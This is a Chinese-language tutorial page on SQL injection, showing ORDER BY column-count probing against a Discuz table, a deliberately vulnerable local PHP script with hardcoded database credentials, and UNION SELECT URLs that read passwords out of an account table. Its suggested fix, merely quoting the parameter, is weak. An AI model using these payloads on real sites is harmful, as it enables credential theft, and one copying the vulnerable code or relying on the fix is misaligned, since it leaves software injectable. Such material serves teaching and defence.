SQL注入的几种有用办法
一、查询表中包括有多少列:
这里以DISCUZ举例说明,例如以下
select * FROM pre_forum_thread ORDER BY 80
返回,Unknown column '80' in 'order clause'。这样能够判定一定小于80列,以下再试用 39
select * FROM pre_forum_thread ORDER BY 39
正常返回了数据,我们判定一定大于等于39,因此仅仅要再试一下40就能够了,这里略过试用,对于开源程序,我全然能够知道他就是有39列。
二、构造參数,读取数据库中的密码
这里以本地创建的一个表为例,前提是參数没有被过滤等操作,表 account 含有三个字段。分别为 id,admin,password
表内包括数据为:
1 admin 12345678
2 test 134545
创建PHP读取数据库文件 x.php:
<?php
$link = mysql_connect('127.0.0.1','root','11111111');
mysql_select_db('xtest',$link);
$id = isset($_GET['id'])? $_GET['id']:1;
$sql = "SELECT * FROM `account` WHERE id = " . $id;
$query = mysql_query($sql);
while($row = mysql_fetch_array($query)){
echo $row['admin'] . "<br/>";
}
?>
訪问地址 http://127.0.0.1/x.php?id=2 返回数据 test,到这里開始SQL的注入使用,构造參数后的地址
http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2
在返回数据中。发现2被返回了,因此,须要改动这里的2位置为想要的字段内容,比方说 password ,即地址改动为
http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2
运行地址后返回数据:
test
134545
这样密码就得到了。
当然这里仅仅是简单的举例说明。没有对密码进行MD5加密。假设是MD5加密或其他加密的话,仍然须要接下来的破解,就不是这里主要讲述的内容了。
此问题的解决的方法,说一个最简单的吧 ,将SQL语句 $sql = "SELECT * FROM `account` WHERE id = " . $id; 改动为
$sql = "SELECT * FROM `account` WHERE id = '$id'";
三、在第二个问题中,发现用户是使用了 while将全部数据进行循环得出的数据,假设用户不是循环。而是直接输出了最后一条数据怎么办呢?
这时。仅仅要将參数又一次改动,就能够仅仅返回union回来的数据了。例如以下
http://127.0.0.1/x.php? id=3 union select 1,password,3 from `account` where id=2
由于表里面没有这条id=3的数据,又或者
http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2
这里非常明显 1和2是不相等的
SQL注入的几种有用办法的更多相关文章
- 预处理(防止sql注入的一种方式)
<!--- 预处理(预编译) ---><?php/* 防止 sql 注入的两种方式: 1. 人为提高代码的逻辑性,使其变得更严谨,滴水不漏. 比如说 增加判断条件,增加输入过滤等,但 ...
- Hibernate使用中防止SQL注入的几种方案
Hibernate使用中防止SQL注入的几种方案 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,使得Java程序员可以随心所欲的使用对象编程思维来操纵数 ...
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- SQL注入的几种类型
SQL注入就是: 将构造SQL语句来插入到web提交的数据之中,让其返回数据时运行自己构造的恶意SQL语句. SQL注入构造恶意SQL语句的方法有: 构造堆叠,构造闭合,构造报错,构造时间差,等等 S ...
- 防止 jsp被sql注入的五种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- PHP实现防止SQL注入的2种方法
PHP简单实现防止SQL注入的方法,结合实例形式分析了PHP防止SQL注入的常用操作技巧与注意事项,PHP源码备有详尽注释便于理解,需要的朋友可以参考下! 方法一:execute代入参数 $var_V ...
- .net防止SQL注入的一种方式
首先也要明白一点,什么是SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将 ...
- 防止sql注入的几种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- PHP防止SQL注入与几种正则表达式讲解
注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) { echo <b& ...
随机推荐
- Java中方法的重写与成员变量的隐藏
这篇文章讨论了Java面向对象概念中一个基本的概念–Field Hiding(隐藏成员变量) 在讨论这个问题之前,我们看一段特别特别简单的代码,请问一下方法的数据结果是什么? public class ...
- template.js 模板引擎
例子: html代码: <div id="box"></div> css代码: table{ border-collapse: collapse; text ...
- js判断变量类型,类型转换,
1.typeof 操作符 主要检测基础数据类型 var a="zhangqian"; var b=true; ; var d; var e=null; var f=new Obje ...
- bootstrap3基本了解
使用 BootCDN 提供的免费 CDN 加速服务(同时支持 http 和 https 协议) Bootstrap 中文网 为 Bootstrap 专门构建了免费的 CDN 加速服务,访问速度更快.加 ...
- Appium+python自动化2-环境搭建(下)【转载】
前言 上一篇android测试开发环境已经准备好, 接下来就是appium的环境安装了.环境安装过程中切勿浮躁,按照步骤一个个来. 环境装好后,可以用真机连电脑,也可以用android-sdk里 ...
- mysql-MHA 故障收集
在manager 主机上开启监控服务,启动不了 [root@manager ~]# managerStart [] [root@manager ~]# managerStatus app1 is st ...
- 详解TCP的三次握手四次断开
本文将分别讲解经典的TCP协议建立连接(所谓的“3次握手”)和断开连接(所谓的“4次挥手”)的过程. 尽管TCP和UDP都使用相同的网络层(IP),TCP却向应用层提供与UDP完全不同的服务.TCP提 ...
- (14)oracle数据字典
http://czmmiao.iteye.com/blog/1258462 数据字典解释 1.user_tables 查询用户所拥有的所有表 select table_name from user_t ...
- HDU 5923 Prediction(2016 CCPC东北地区大学生程序设计竞赛 Problem B,并查集)
题目链接 2016 CCPC东北地区大学生程序设计竞赛 B题 题意 给定一个无向图和一棵树,树上的每个结点对应无向图中的一条边,现在给出$q$个询问, 每次选定树中的一个点集,然后真正被选上的是这 ...
- 反射main方法
利用Java反射机制去调用其他类的main方法基于这种情形: 当程序中的某个类在运行到某处需要去调用其他类的main方法时,如果此程序并不知道此main方法所属类的名称,而只是在程序中接受某一代表此m ...